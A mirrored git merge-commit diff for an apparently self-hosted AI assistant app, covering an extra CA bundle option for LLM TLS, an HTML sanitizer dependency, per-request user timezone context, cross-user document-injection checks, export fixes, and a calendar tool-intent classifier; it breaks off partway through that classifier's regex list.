mirror of
https://github.com/pewdiepie-archdaemon/odysseus.git
synced 2026-06-17 10:15:27 -04:00
Merge branch 'main' of github.com:pewdiepie-archdaemon/odysseus
# Conflicts: # static/js/cookbookRunning.js
This commit is contained in:
@@ -27,6 +27,16 @@ LLM_HOST=localhost
|
|||||||
# Research service LLM endpoint
|
# Research service LLM endpoint
|
||||||
# RESEARCH_LLM_ENDPOINT=http://localhost:8000/v1/chat/completions
|
# RESEARCH_LLM_ENDPOINT=http://localhost:8000/v1/chat/completions
|
||||||
|
|
||||||
|
# Extra CA bundle for LLM providers whose TLS chain isn't in the default
|
||||||
|
# trust store. Layered ON TOP of the system / certifi bundle — verification
|
||||||
|
# stays on for every host, the trust set just gets larger. Useful for:
|
||||||
|
# - GigaChat / Sber (Russian Trusted Root CA): without this the endpoint
|
||||||
|
# shows offline with CERTIFICATE_VERIFY_FAILED — self-signed certificate
|
||||||
|
# in certificate chain.
|
||||||
|
# - On-premise / corporate LLM gateways with an internal CA.
|
||||||
|
# Point at a PEM file containing the missing root(s).
|
||||||
|
# LLM_CA_BUNDLE=/etc/odysseus/ca/extra-roots.pem
|
||||||
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
# Search & Web
|
# Search & Web
|
||||||
# ============================================================
|
# ============================================================
|
||||||
|
|||||||
@@ -21,6 +21,10 @@ youtube-transcript-api
|
|||||||
# Markdown rendering for research reports (src/visual_report.py).
|
# Markdown rendering for research reports (src/visual_report.py).
|
||||||
# Imported at module-top so it's a hard core dep, not optional.
|
# Imported at module-top so it's a hard core dep, not optional.
|
||||||
markdown
|
markdown
|
||||||
|
# HTML sanitizer for rendered research reports (src/visual_report.py). Report
|
||||||
|
# content is untrusted (LLM output over crawled pages) and report pages run
|
||||||
|
# under a relaxed CSP, so the rendered HTML is allowlist-sanitized.
|
||||||
|
nh3
|
||||||
# Calendar .ics import/export (routes/calendar_routes.py).
|
# Calendar .ics import/export (routes/calendar_routes.py).
|
||||||
icalendar
|
icalendar
|
||||||
# Recurrence rule expansion for calendar events (routes/calendar_routes.py).
|
# Recurrence rule expansion for calendar events (routes/calendar_routes.py).
|
||||||
|
|||||||
+35
-27
@@ -161,26 +161,18 @@ def _ensure_default_calendar(db, owner: str = None) -> CalendarCal:
|
|||||||
return cal
|
return cal
|
||||||
|
|
||||||
|
|
||||||
# Per-request user UTC offset (in minutes east of UTC). chat_routes sets this
|
# Per-request user time context. chat_routes sets this from browser timezone
|
||||||
# from the `X-Tz-Offset` header so naive natural-language times the LLM
|
# headers so natural-language times the LLM emits ("today at 9pm") are parsed
|
||||||
# emits ("today at 9pm") are parsed in the USER's timezone, not the server's
|
# in the user's timezone, not the server's clock. None = unknown, fall back to
|
||||||
# clock. None = unknown, fall back to legacy server-local behavior.
|
# legacy server-local behavior.
|
||||||
from contextvars import ContextVar
|
from src.user_time import (
|
||||||
_USER_TZ_OFFSET_MIN: ContextVar = ContextVar("user_tz_offset_min", default=None)
|
get_user_tz_name,
|
||||||
|
get_user_tz_offset,
|
||||||
|
now_user_local,
|
||||||
def set_user_tz_offset(offset_min):
|
set_user_tz_name,
|
||||||
"""Set the current user's UTC offset for this async context."""
|
set_user_tz_offset,
|
||||||
try:
|
user_timezone,
|
||||||
v = int(offset_min)
|
)
|
||||||
except (TypeError, ValueError):
|
|
||||||
return
|
|
||||||
_USER_TZ_OFFSET_MIN.set(v)
|
|
||||||
|
|
||||||
|
|
||||||
def get_user_tz_offset():
|
|
||||||
"""Read the current user's UTC offset (minutes east of UTC), or None."""
|
|
||||||
return _USER_TZ_OFFSET_MIN.get()
|
|
||||||
|
|
||||||
|
|
||||||
def parse_due_for_user(s: str) -> str:
|
def parse_due_for_user(s: str) -> str:
|
||||||
@@ -199,6 +191,7 @@ def parse_due_for_user(s: str) -> str:
|
|||||||
"""
|
"""
|
||||||
from datetime import timezone as _tz, timedelta as _td
|
from datetime import timezone as _tz, timedelta as _td
|
||||||
offset = get_user_tz_offset()
|
offset = get_user_tz_offset()
|
||||||
|
tz_name = get_user_tz_name()
|
||||||
s = (s or "").strip()
|
s = (s or "").strip()
|
||||||
if not s:
|
if not s:
|
||||||
return s
|
return s
|
||||||
@@ -212,11 +205,11 @@ def parse_due_for_user(s: str) -> str:
|
|||||||
except ValueError:
|
except ValueError:
|
||||||
parsed = None
|
parsed = None
|
||||||
|
|
||||||
if offset is None:
|
if offset is None and not tz_name:
|
||||||
# No user tz known — preserve legacy behavior (naive server-local).
|
# No user tz known — preserve legacy behavior (naive server-local).
|
||||||
return _parse_dt(s).isoformat()
|
return _parse_dt(s).isoformat()
|
||||||
|
|
||||||
user_tz = _tz(_td(minutes=offset))
|
user_tz = user_timezone()
|
||||||
|
|
||||||
# Naive ISO → tag with user tz.
|
# Naive ISO → tag with user tz.
|
||||||
if parsed is not None and parsed.tzinfo is None:
|
if parsed is not None and parsed.tzinfo is None:
|
||||||
@@ -224,7 +217,7 @@ def parse_due_for_user(s: str) -> str:
|
|||||||
|
|
||||||
# Natural language — evaluate against user's "now".
|
# Natural language — evaluate against user's "now".
|
||||||
server_now_utc = datetime.now(_tz.utc)
|
server_now_utc = datetime.now(_tz.utc)
|
||||||
user_now = server_now_utc.astimezone(user_tz)
|
user_now = now_user_local(server_now_utc)
|
||||||
# Patch datetime.now() inside _parse_dt by leveraging the user's clock:
|
# Patch datetime.now() inside _parse_dt by leveraging the user's clock:
|
||||||
# we re-implement the small natural-language phrases here against user_now
|
# we re-implement the small natural-language phrases here against user_now
|
||||||
# so the result is naturally in the user's tz.
|
# so the result is naturally in the user's tz.
|
||||||
@@ -232,6 +225,7 @@ def parse_due_for_user(s: str) -> str:
|
|||||||
lower = s.lower().strip()
|
lower = s.lower().strip()
|
||||||
|
|
||||||
def _parse_time(t):
|
def _parse_time(t):
|
||||||
|
t = _re.sub(r'\b([ap])\s*\.?\s*m\.?\b', r'\1m', t.strip(), flags=_re.IGNORECASE)
|
||||||
m = _re.match(r'^\s*(\d{1,2})(?::(\d{2}))?\s*(am|pm)?\s*$', t, _re.IGNORECASE)
|
m = _re.match(r'^\s*(\d{1,2})(?::(\d{2}))?\s*(am|pm)?\s*$', t, _re.IGNORECASE)
|
||||||
if not m: return None
|
if not m: return None
|
||||||
h = int(m.group(1)); mn = int(m.group(2) or 0); ampm = (m.group(3) or "").lower()
|
h = int(m.group(1)); mn = int(m.group(2) or 0); ampm = (m.group(3) or "").lower()
|
||||||
@@ -341,6 +335,7 @@ def _parse_dt(s: str) -> datetime:
|
|||||||
|
|
||||||
def _parse_time(t: str):
|
def _parse_time(t: str):
|
||||||
"""Return (hour, minute) from '1pm', '1:30 PM', '13:00', etc., or None."""
|
"""Return (hour, minute) from '1pm', '1:30 PM', '13:00', etc., or None."""
|
||||||
|
t = _re.sub(r'\b([ap])\s*\.?\s*m\.?\b', r'\1m', t.strip(), flags=_re.IGNORECASE)
|
||||||
m = _re.match(r'^\s*(\d{1,2})(?::(\d{2}))?\s*(am|pm)?\s*$', t, _re.IGNORECASE)
|
m = _re.match(r'^\s*(\d{1,2})(?::(\d{2}))?\s*(am|pm)?\s*$', t, _re.IGNORECASE)
|
||||||
if not m:
|
if not m:
|
||||||
return None
|
return None
|
||||||
@@ -1210,7 +1205,20 @@ def setup_calendar_routes() -> APIRouter:
|
|||||||
text = (body.get("text") or "").strip()
|
text = (body.get("text") or "").strip()
|
||||||
if not text:
|
if not text:
|
||||||
raise HTTPException(400, "text is required")
|
raise HTTPException(400, "text is required")
|
||||||
|
from src.user_time import (
|
||||||
|
clear_user_time_context,
|
||||||
|
current_datetime_prompt,
|
||||||
|
now_user_local,
|
||||||
|
set_user_tz_name,
|
||||||
|
set_user_tz_offset,
|
||||||
|
)
|
||||||
|
|
||||||
|
clear_user_time_context()
|
||||||
tz_hint = (body.get("tz") or "").strip()
|
tz_hint = (body.get("tz") or "").strip()
|
||||||
|
if body.get("tz_offset") is not None:
|
||||||
|
set_user_tz_offset(body.get("tz_offset"))
|
||||||
|
if tz_hint:
|
||||||
|
set_user_tz_name(tz_hint)
|
||||||
|
|
||||||
url, model, headers = resolve_endpoint("utility")
|
url, model, headers = resolve_endpoint("utility")
|
||||||
if not url:
|
if not url:
|
||||||
@@ -1218,15 +1226,15 @@ def setup_calendar_routes() -> APIRouter:
|
|||||||
if not url or not model:
|
if not url or not model:
|
||||||
return {"ok": False, "error": "No LLM endpoint configured"}
|
return {"ok": False, "error": "No LLM endpoint configured"}
|
||||||
|
|
||||||
now = datetime.now()
|
now = now_user_local()
|
||||||
now_iso = now.strftime("%Y-%m-%dT%H:%M:%S")
|
now_iso = now.strftime("%Y-%m-%dT%H:%M:%S")
|
||||||
# The model gets only the schema it needs to fill out; we re-validate
|
# The model gets only the schema it needs to fill out; we re-validate
|
||||||
# everything client-side too.
|
# everything client-side too.
|
||||||
system_prompt = (
|
system_prompt = (
|
||||||
"You are a calendar event parser. Read the user's one-line "
|
current_datetime_prompt()
|
||||||
|
+ "You are a calendar event parser. Read the user's one-line "
|
||||||
"description and emit STRICT JSON describing the event. "
|
"description and emit STRICT JSON describing the event. "
|
||||||
f"Today is {now.strftime('%A, %Y-%m-%d')} ({now_iso}). "
|
f"The current user-local timestamp is {now_iso}. "
|
||||||
+ (f"User timezone: {tz_hint}. " if tz_hint else "")
|
|
||||||
+ "Resolve relative dates (\"tomorrow\", \"friday\", \"next monday\", "
|
+ "Resolve relative dates (\"tomorrow\", \"friday\", \"next monday\", "
|
||||||
"\"in 30 minutes\") against today. Default duration is 60 minutes "
|
"\"in 30 minutes\") against today. Default duration is 60 minutes "
|
||||||
"when no end time is given. If the text mentions a date with no "
|
"when no end time is given. If the text mentions a date with no "
|
||||||
|
|||||||
+48
-13
@@ -37,7 +37,7 @@ from routes.chat_helpers import (
|
|||||||
clean_thinking_for_save,
|
clean_thinking_for_save,
|
||||||
_enforce_chat_privileges,
|
_enforce_chat_privileges,
|
||||||
)
|
)
|
||||||
from src.action_intents import message_needs_tools as _message_needs_tools
|
from src.action_intents import classify_tool_intent as _classify_tool_intent
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
@@ -229,6 +229,26 @@ def _recover_empty_session_model(sess, session_id: str, owner: str | None = None
|
|||||||
db.close()
|
db.close()
|
||||||
|
|
||||||
|
|
||||||
|
def _set_user_time_from_request(request: Request) -> None:
|
||||||
|
"""Copy browser timezone headers into the per-request context.
|
||||||
|
|
||||||
|
This is intentionally ephemeral: it is used only while building prompts
|
||||||
|
and running tools for this request. It is not persisted or logged.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
tz_offset = request.headers.get("x-tz-offset")
|
||||||
|
tz_name = request.headers.get("x-tz-name")
|
||||||
|
from src.user_time import clear_user_time_context, set_user_tz_name, set_user_tz_offset
|
||||||
|
|
||||||
|
clear_user_time_context()
|
||||||
|
if tz_offset is not None:
|
||||||
|
set_user_tz_offset(tz_offset)
|
||||||
|
if tz_name:
|
||||||
|
set_user_tz_name(tz_name)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
def setup_chat_routes(
|
def setup_chat_routes(
|
||||||
session_manager,
|
session_manager,
|
||||||
chat_handler,
|
chat_handler,
|
||||||
@@ -247,6 +267,8 @@ def setup_chat_routes(
|
|||||||
# ------------------------------------------------------------------ #
|
# ------------------------------------------------------------------ #
|
||||||
@router.post("/api/chat", response_model=Dict[str, str])
|
@router.post("/api/chat", response_model=Dict[str, str])
|
||||||
async def chat_endpoint(request: Request, chat_request: ChatRequest) -> Dict[str, str]:
|
async def chat_endpoint(request: Request, chat_request: ChatRequest) -> Dict[str, str]:
|
||||||
|
_set_user_time_from_request(request)
|
||||||
|
|
||||||
message = chat_request.message
|
message = chat_request.message
|
||||||
session = chat_request.session
|
session = chat_request.session
|
||||||
att_ids = chat_request.attachments or []
|
att_ids = chat_request.attachments or []
|
||||||
@@ -355,16 +377,7 @@ def setup_chat_routes(
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
raise HTTPException(400, f"Request parsing error: {e}")
|
raise HTTPException(400, f"Request parsing error: {e}")
|
||||||
|
|
||||||
# Stash the user's UTC offset (in minutes east of UTC) from the
|
_set_user_time_from_request(request)
|
||||||
# frontend so tools like manage_notes interpret natural-language
|
|
||||||
# times in the USER's tz, not the server's. See calendar_routes.
|
|
||||||
try:
|
|
||||||
_tz_hdr = request.headers.get("x-tz-offset")
|
|
||||||
if _tz_hdr is not None:
|
|
||||||
from routes.calendar_routes import set_user_tz_offset
|
|
||||||
set_user_tz_offset(_tz_hdr)
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
form_data = await request.form()
|
form_data = await request.form()
|
||||||
message = form_data.get("message")
|
message = form_data.get("message")
|
||||||
@@ -393,10 +406,15 @@ def setup_chat_routes(
|
|||||||
# its way through a plain chat request (and fail, especially with the
|
# its way through a plain chat request (and fail, especially with the
|
||||||
# shell disabled).
|
# shell disabled).
|
||||||
auto_escalated = False
|
auto_escalated = False
|
||||||
if chat_mode == "chat" and isinstance(message, str) and _message_needs_tools(message):
|
_tool_intent = _classify_tool_intent(message) if isinstance(message, str) else None
|
||||||
|
if chat_mode == "chat" and _tool_intent and _tool_intent.needs_tools:
|
||||||
chat_mode = "agent"
|
chat_mode = "agent"
|
||||||
auto_escalated = True
|
auto_escalated = True
|
||||||
logger.info("chat→agent auto-escalation: message matched tool-intent pattern")
|
logger.info(
|
||||||
|
"chat→agent auto-escalation: category=%s reason=%s",
|
||||||
|
_tool_intent.category,
|
||||||
|
_tool_intent.reason,
|
||||||
|
)
|
||||||
active_doc_id = form_data.get("active_doc_id", "").strip()
|
active_doc_id = form_data.get("active_doc_id", "").strip()
|
||||||
logger.info(f"[doc-inject] chat_mode={chat_mode}, active_doc_id={active_doc_id!r}")
|
logger.info(f"[doc-inject] chat_mode={chat_mode}, active_doc_id={active_doc_id!r}")
|
||||||
|
|
||||||
@@ -507,6 +525,23 @@ def setup_chat_routes(
|
|||||||
_doc_q = _doc_db.query(DBDocument).filter(DBDocument.id == active_doc_id)
|
_doc_q = _doc_db.query(DBDocument).filter(DBDocument.id == active_doc_id)
|
||||||
active_doc = _owner_session_filter(_doc_q, ctx.user).first()
|
active_doc = _owner_session_filter(_doc_q, ctx.user).first()
|
||||||
if active_doc:
|
if active_doc:
|
||||||
|
doc_session = active_doc.session_id
|
||||||
|
doc_owner = getattr(active_doc, "owner", None)
|
||||||
|
if doc_owner and ctx.user and doc_owner != ctx.user:
|
||||||
|
logger.warning(
|
||||||
|
"[doc-inject] ignoring active_doc_id %s owned by another user",
|
||||||
|
active_doc_id,
|
||||||
|
)
|
||||||
|
active_doc = None
|
||||||
|
elif doc_session and doc_session != session:
|
||||||
|
logger.warning(
|
||||||
|
"[doc-inject] ignoring stale active_doc_id %s from session %s while in session %s",
|
||||||
|
active_doc_id,
|
||||||
|
doc_session,
|
||||||
|
session,
|
||||||
|
)
|
||||||
|
active_doc = None
|
||||||
|
else:
|
||||||
logger.info(f"[doc-inject] found by ID: title={active_doc.title!r}, lang={active_doc.language!r}, is_active={active_doc.is_active}, content_len={len(active_doc.current_content or '')}")
|
logger.info(f"[doc-inject] found by ID: title={active_doc.title!r}, lang={active_doc.language!r}, is_active={active_doc.is_active}, content_len={len(active_doc.current_content or '')}")
|
||||||
else:
|
else:
|
||||||
logger.warning(f"[doc-inject] NOT FOUND by ID {active_doc_id}")
|
logger.warning(f"[doc-inject] NOT FOUND by ID {active_doc_id}")
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ from fastapi.responses import StreamingResponse
|
|||||||
from core.database import SessionLocal, ModelEndpoint, Session as DbSession
|
from core.database import SessionLocal, ModelEndpoint, Session as DbSession
|
||||||
from core.middleware import require_admin
|
from core.middleware import require_admin
|
||||||
from src.llm_core import _detect_provider, _host_match, ANTHROPIC_MODELS
|
from src.llm_core import _detect_provider, _host_match, ANTHROPIC_MODELS
|
||||||
|
from src.tls_overrides import llm_verify
|
||||||
from src.settings import load_settings as _load_settings, save_settings as _save_settings
|
from src.settings import load_settings as _load_settings, save_settings as _save_settings
|
||||||
from src.endpoint_resolver import (
|
from src.endpoint_resolver import (
|
||||||
normalize_base as _normalize_base,
|
normalize_base as _normalize_base,
|
||||||
@@ -624,7 +625,7 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
|
|||||||
if api_key:
|
if api_key:
|
||||||
headers["x-api-key"] = api_key
|
headers["x-api-key"] = api_key
|
||||||
try:
|
try:
|
||||||
r = httpx.get(url, headers=headers, timeout=timeout)
|
r = httpx.get(url, headers=headers, timeout=timeout, verify=llm_verify())
|
||||||
r.raise_for_status()
|
r.raise_for_status()
|
||||||
data = r.json()
|
data = r.json()
|
||||||
models = [m.get("id") for m in (data.get("data") or []) if m.get("id")]
|
models = [m.get("id") for m in (data.get("data") or []) if m.get("id")]
|
||||||
@@ -645,7 +646,7 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
|
|||||||
url = build_models_url(base)
|
url = build_models_url(base)
|
||||||
headers = build_headers(api_key, base)
|
headers = build_headers(api_key, base)
|
||||||
try:
|
try:
|
||||||
r = httpx.get(url, headers=headers, timeout=timeout)
|
r = httpx.get(url, headers=headers, timeout=timeout, verify=llm_verify())
|
||||||
r.raise_for_status()
|
r.raise_for_status()
|
||||||
data = r.json()
|
data = r.json()
|
||||||
# OpenAI format: {"data": [{"id": "model-name"}]}
|
# OpenAI format: {"data": [{"id": "model-name"}]}
|
||||||
@@ -680,7 +681,7 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
|
|||||||
parsed = urlparse(base)
|
parsed = urlparse(base)
|
||||||
if parsed.port == 11434 or "ollama" in (parsed.hostname or "").lower():
|
if parsed.port == 11434 or "ollama" in (parsed.hostname or "").lower():
|
||||||
root = base[:-3].rstrip("/") if base.endswith("/v1") else base
|
root = base[:-3].rstrip("/") if base.endswith("/v1") else base
|
||||||
r = httpx.get(root + "/api/tags", timeout=timeout)
|
r = httpx.get(root + "/api/tags", timeout=timeout, verify=llm_verify())
|
||||||
r.raise_for_status()
|
r.raise_for_status()
|
||||||
data = r.json()
|
data = r.json()
|
||||||
models = [m.get("name") or m.get("model") for m in (data.get("models") or []) if m.get("name") or m.get("model")]
|
models = [m.get("name") or m.get("model") for m in (data.get("models") or []) if m.get("name") or m.get("model")]
|
||||||
@@ -741,7 +742,7 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
|||||||
break
|
break
|
||||||
for path in ("/api/version", "/api/tags"):
|
for path in ("/api/version", "/api/tags"):
|
||||||
try:
|
try:
|
||||||
r = httpx.get(root + path, timeout=timeout)
|
r = httpx.get(root + path, timeout=timeout, verify=llm_verify())
|
||||||
result = _result_from_response(r)
|
result = _result_from_response(r)
|
||||||
if result["reachable"]:
|
if result["reachable"]:
|
||||||
return result
|
return result
|
||||||
@@ -752,7 +753,7 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
try:
|
try:
|
||||||
r = httpx.get(base, headers=headers, timeout=timeout)
|
r = httpx.get(base, headers=headers, timeout=timeout, verify=llm_verify())
|
||||||
return _result_from_response(r)
|
return _result_from_response(r)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
last_error = str(e)[:120]
|
last_error = str(e)[:120]
|
||||||
|
|||||||
@@ -37,6 +37,26 @@ def _public_model(name: str, model: str) -> str:
|
|||||||
return model
|
return model
|
||||||
|
|
||||||
|
|
||||||
|
def _content_to_text(content) -> str:
|
||||||
|
"""Flatten a message's content to plain text for text-based exports.
|
||||||
|
|
||||||
|
History entries carry three shapes: a plain string, a multimodal list of
|
||||||
|
content blocks (vision/image attachments), or None (assistant turns that
|
||||||
|
persisted only native tool_calls). The txt/html/md exporters join and
|
||||||
|
string-munge this value, so a list crashed the export (TypeError on join,
|
||||||
|
AttributeError on .replace) and None rendered as the literal "None".
|
||||||
|
Coerce to the text blocks, returning "" for anything without text.
|
||||||
|
"""
|
||||||
|
if isinstance(content, str):
|
||||||
|
return content
|
||||||
|
if isinstance(content, list):
|
||||||
|
return "\n".join(
|
||||||
|
b.get("text", "") for b in content
|
||||||
|
if isinstance(b, dict) and b.get("text")
|
||||||
|
)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
|
||||||
def _verify_session_owner(request: Request, session_id: str, session_manager=None):
|
def _verify_session_owner(request: Request, session_id: str, session_manager=None):
|
||||||
"""Verify the current user owns the session. Raises 404 if not.
|
"""Verify the current user owns the session. Raises 404 if not.
|
||||||
|
|
||||||
@@ -74,7 +94,6 @@ logger = logging.getLogger(__name__)
|
|||||||
|
|
||||||
router = APIRouter(prefix="/api", tags=["sessions"])
|
router = APIRouter(prefix="/api", tags=["sessions"])
|
||||||
|
|
||||||
|
|
||||||
def _current_user_is_admin(request: Request, user: str | None) -> bool:
|
def _current_user_is_admin(request: Request, user: str | None) -> bool:
|
||||||
if not user:
|
if not user:
|
||||||
return False
|
return False
|
||||||
@@ -122,6 +141,17 @@ def _persist_session_headers(session_id: str, headers: dict | None) -> None:
|
|||||||
db.close()
|
db.close()
|
||||||
|
|
||||||
|
|
||||||
|
_HIDDEN_SYSTEM_SESSION_NAMES = {
|
||||||
|
"[Task] Chat Sessions Tidy",
|
||||||
|
"[Task] Documents Tidy",
|
||||||
|
"[Task] Memory Tidy",
|
||||||
|
"[Task] Research Tidy",
|
||||||
|
"[Task] Email Mark Boundaries",
|
||||||
|
"[Task] Email Tags",
|
||||||
|
"[Task] Skills Audit",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
def _pick_endpoint_for_sort(owner=None):
|
def _pick_endpoint_for_sort(owner=None):
|
||||||
"""Pick model endpoint for auto-sort LLM call — uses utility endpoint setting, falls back to default."""
|
"""Pick model endpoint for auto-sort LLM call — uses utility endpoint setting, falls back to default."""
|
||||||
from src.endpoint_resolver import resolve_endpoint
|
from src.endpoint_resolver import resolve_endpoint
|
||||||
@@ -245,7 +275,8 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
|
|||||||
"message_count": msg_count_map.get(s.id, 0)}
|
"message_count": msg_count_map.get(s.id, 0)}
|
||||||
for s in user_sessions.values()
|
for s in user_sessions.values()
|
||||||
if not s.archived
|
if not s.archived
|
||||||
and (s.name or "").strip() not in ("Nobody", "Incognito")]
|
and (s.name or "").strip() not in ("Nobody", "Incognito")
|
||||||
|
and (s.name or "").strip() not in _HIDDEN_SYSTEM_SESSION_NAMES]
|
||||||
|
|
||||||
return sessions
|
return sessions
|
||||||
|
|
||||||
@@ -708,7 +739,7 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
|
|||||||
lines = []
|
lines = []
|
||||||
for m in session.history:
|
for m in session.history:
|
||||||
lines.append(f"[{m.role.upper()}]")
|
lines.append(f"[{m.role.upper()}]")
|
||||||
lines.append(m.content)
|
lines.append(_content_to_text(m.content))
|
||||||
lines.append("")
|
lines.append("")
|
||||||
out_name = filename or f"conversation_{safe_name}_{timestamp}.txt"
|
out_name = filename or f"conversation_{safe_name}_{timestamp}.txt"
|
||||||
return Response(
|
return Response(
|
||||||
@@ -731,7 +762,7 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
|
|||||||
]
|
]
|
||||||
for m in session.history:
|
for m in session.history:
|
||||||
cls = "user" if m.role == "user" else "ai"
|
cls = "user" if m.role == "user" else "ai"
|
||||||
content = m.content.replace("&", "&").replace("<", "<").replace(">", ">")
|
content = _content_to_text(m.content).replace("&", "&").replace("<", "<").replace(">", ">")
|
||||||
content = content.replace("\n", "<br>")
|
content = content.replace("\n", "<br>")
|
||||||
html_parts.append(f'<div class="msg {cls}"><div class="role">{m.role}</div>{content}</div>')
|
html_parts.append(f'<div class="msg {cls}"><div class="role">{m.role}</div>{content}</div>')
|
||||||
html_parts.append("</body></html>")
|
html_parts.append("</body></html>")
|
||||||
@@ -750,7 +781,7 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
|
|||||||
markdown_lines.append("\n---\n")
|
markdown_lines.append("\n---\n")
|
||||||
for message in session.history:
|
for message in session.history:
|
||||||
role = message.role.upper()
|
role = message.role.upper()
|
||||||
content = message.content
|
content = _content_to_text(message.content)
|
||||||
markdown_lines.append(f"### {role}")
|
markdown_lines.append(f"### {role}")
|
||||||
markdown_lines.append(f"{content}\n")
|
markdown_lines.append(f"{content}\n")
|
||||||
markdown_lines.append("---\n")
|
markdown_lines.append("---\n")
|
||||||
|
|||||||
@@ -377,7 +377,7 @@ def analyze_model(model, system, target_quant=None, scoring_use_case=None, targe
|
|||||||
# Multi-GPU filter: skip the row if the resolved quant is a GGUF tier
|
# Multi-GPU filter: skip the row if the resolved quant is a GGUF tier
|
||||||
# (Q*/IQ-prefixed) — vLLM/SGLang can't serve those, so showing them on
|
# (Q*/IQ-prefixed) — vLLM/SGLang can't serve those, so showing them on
|
||||||
# a 2+ GPU rig just clutters the list with unservable candidates.
|
# a 2+ GPU rig just clutters the list with unservable candidates.
|
||||||
if gpu_count >= 2 and quant_to_try and quant_to_try.upper().startswith(("Q2", "Q3", "Q4", "Q5", "Q6", "Q8", "IQ")):
|
if gpu_count >= 2 and quant_to_try and not target_quant and quant_to_try.upper().startswith(("Q2", "Q3", "Q4", "Q5", "Q6", "Q8", "IQ")):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
result = _try_quant_at(model, quant_to_try, ctx, effective_vram, 0 if native_gpu_only else eff_ram)
|
result = _try_quant_at(model, quant_to_try, ctx, effective_vram, 0 if native_gpu_only else eff_ram)
|
||||||
|
|||||||
+83
-36
@@ -8,74 +8,121 @@ user asks how a feature works.
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
from dataclasses import dataclass
|
||||||
from typing import Iterable, Pattern
|
from typing import Iterable, Pattern
|
||||||
|
|
||||||
|
|
||||||
_ACTION_QUESTION = r"\b(?:can|could|would|will)\s+you\s+"
|
@dataclass(frozen=True)
|
||||||
_PLEASE = r"^\s*(?:please\s+)?"
|
class ToolIntent:
|
||||||
|
"""A cheap, deterministic chat-to-agent routing decision."""
|
||||||
|
|
||||||
_CALENDAR_ACTION = r"(?:add|create|schedule|book|put|set\s+up|make)"
|
needs_tools: bool
|
||||||
|
category: str = ""
|
||||||
|
reason: str = ""
|
||||||
|
|
||||||
|
|
||||||
|
_ACTION_QUESTION = r"\b(?:can|could|would|will)\s+you\s+"
|
||||||
|
_ACTION_FOLLOWUP = (
|
||||||
|
r"\b(?:you\s+should\s+be\s+able\s+to|"
|
||||||
|
r"(?:can|could|would|will|should)\s+you|"
|
||||||
|
r"you\s+(?:can|could|would|will|should|need\s+to|have\s+to))\s+"
|
||||||
|
)
|
||||||
|
_PLEASE = r"^\s*(?:(?:please|ok(?:ay)?|alright|right|sure|cool|great|thanks)[\s,.!-]+)*"
|
||||||
|
|
||||||
|
_CALENDAR_ACTION = (
|
||||||
|
r"(?:add|adding|create|creating|recreate|recreating|schedule|scheduling|"
|
||||||
|
r"reschedule|rescheduling|book|booking|put|set\s+up|make|making|"
|
||||||
|
r"delete|deleting|remove|removing|cancel|cancelling|canceling)"
|
||||||
|
)
|
||||||
_CALENDAR_THING = r"(?:calendar|calendar\s+(?:entry|item)|event|meeting|appointment|entry|call)"
|
_CALENDAR_THING = r"(?:calendar|calendar\s+(?:entry|item)|event|meeting|appointment|entry|call)"
|
||||||
|
_EXPLANATORY_PREFIX = re.compile(
|
||||||
|
r"^\s*(?:how\s+(?:do|can)\s+i|can\s+you\s+explain|what\s+about|tell\s+me\s+how|show\s+me\s+how)\b",
|
||||||
|
re.I,
|
||||||
|
)
|
||||||
|
|
||||||
_PANEL = (
|
_PANEL = (
|
||||||
r"(?:calendar|notes?|inbox|email|mail|documents?|docs|library|gallery|"
|
r"(?:calendar|notes?|inbox|email|mail|documents?|docs|library|gallery|"
|
||||||
r"settings|cookbook|sessions?|chats?|skills|memories|memory|brain)"
|
r"settings|cookbook|sessions?|chats?|skills|memories|memory|brain)"
|
||||||
)
|
)
|
||||||
|
|
||||||
_TOOL_INTENT_PATTERNS: tuple[Pattern[str], ...] = tuple(
|
_ROUTING_PATTERNS: tuple[tuple[str, str, Pattern[str]], ...] = tuple(
|
||||||
re.compile(pattern, re.I)
|
(category, reason, re.compile(pattern, re.I))
|
||||||
for pattern in (
|
for category, reason, pattern in (
|
||||||
# Calendar/event creation. Covers "Can you add an entry to my
|
# Calendar/event creation. Covers "Can you add an entry to my
|
||||||
# calendar?" and imperatives like "add lunch to my calendar".
|
# calendar?", imperatives like "add lunch to my calendar", and
|
||||||
rf"{_ACTION_QUESTION}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b",
|
# follow-ups such as "you should be able to create that event now".
|
||||||
rf"{_PLEASE}{_CALENDAR_ACTION}\b.{{0,120}}\b(?:to|on|in|into|for)\s+(?:my\s+|the\s+|this\s+)?calendar\b",
|
("calendar", "assistant calendar action request", rf"{_ACTION_QUESTION}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b"),
|
||||||
rf"{_PLEASE}{_CALENDAR_ACTION}\s+(?:a\s+|an\s+)?(?:calendar\s+)?(?:event|meeting|appointment|entry|item|call)\b",
|
("calendar", "calendar follow-up action request", rf"{_ACTION_FOLLOWUP}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b"),
|
||||||
r"\bput\s+.+\bon\s+(?:my\s+)?calendar\b",
|
